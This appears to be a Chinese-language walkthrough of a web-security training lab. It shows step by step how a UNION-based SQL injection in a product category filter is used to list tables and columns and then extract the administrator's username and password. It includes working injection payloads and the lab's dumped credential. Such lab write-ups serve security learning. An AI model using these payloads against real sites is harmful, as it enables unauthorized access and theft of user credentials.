第五关 SQL 注入攻击,列出非 Oracle 数据库上的数据库内容
这一关就是通过sql注入,先查询出所有表名,找到其中的用户表,再查询到存放账户和密码这两个字段的内容,查询到管理员的账户和密码,从而进行登录
在提示中 1、在产品类别筛选器中包含一个 SQL 注入漏洞
2、可以使用 UNION 攻击从其他表中检索数据
3、内置数据库包含一个保存用户名和密码的表,需要确定此表的名称及其包含的列,然后检索表的内容以获取所有用户的用户名和密码。
1、随便点击个类别

2、去到bp的HTTP history,找到触发的数据包,发往repeater

3、用的是union联合查询,先确定有几列存在
尝试用一个字段列
' UNION SELECT 'abc'--
报错

4、再用两个字段列
' UNION SELECT 'abc','def'--
成功

5、接下来查询数据库的信息
先到提示里找到查询所有表的sql语句
SELECT * FROM information_schema.tables

6、直接使用白名单拦截指定数据包
查询所有表名SQL语句插入:
' UNION SELECT null,table_name FROM information_schema.tables --

7、成功暴露出所有表名

我们找到疑似用户的表users_entepc

8、再去靶场提示里面找到查询字段名的sql语句
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

9、直接拦截指定数据包
修改后查询字段的sql语句
' UNION SELECT null,column_name FROM information_schema.columns WHERE table_name = 'users_entepc' --

10、成功暴露出的字段信息

11、知道了表名和用户,密码字段名,就可以去查询管理员账户和密码了
拦截数据包
修改后sql语句插入:
' union select username_crggnw,password_jocnfo from users_entepc where username_crggnw = 'administrator' --

12、成功查询到管理员的账户和密码
administrator
**2odywh14plxpcjtrw2pg **


13、有了账户和密码,进行登录

14、登录成功,如图靶场过关
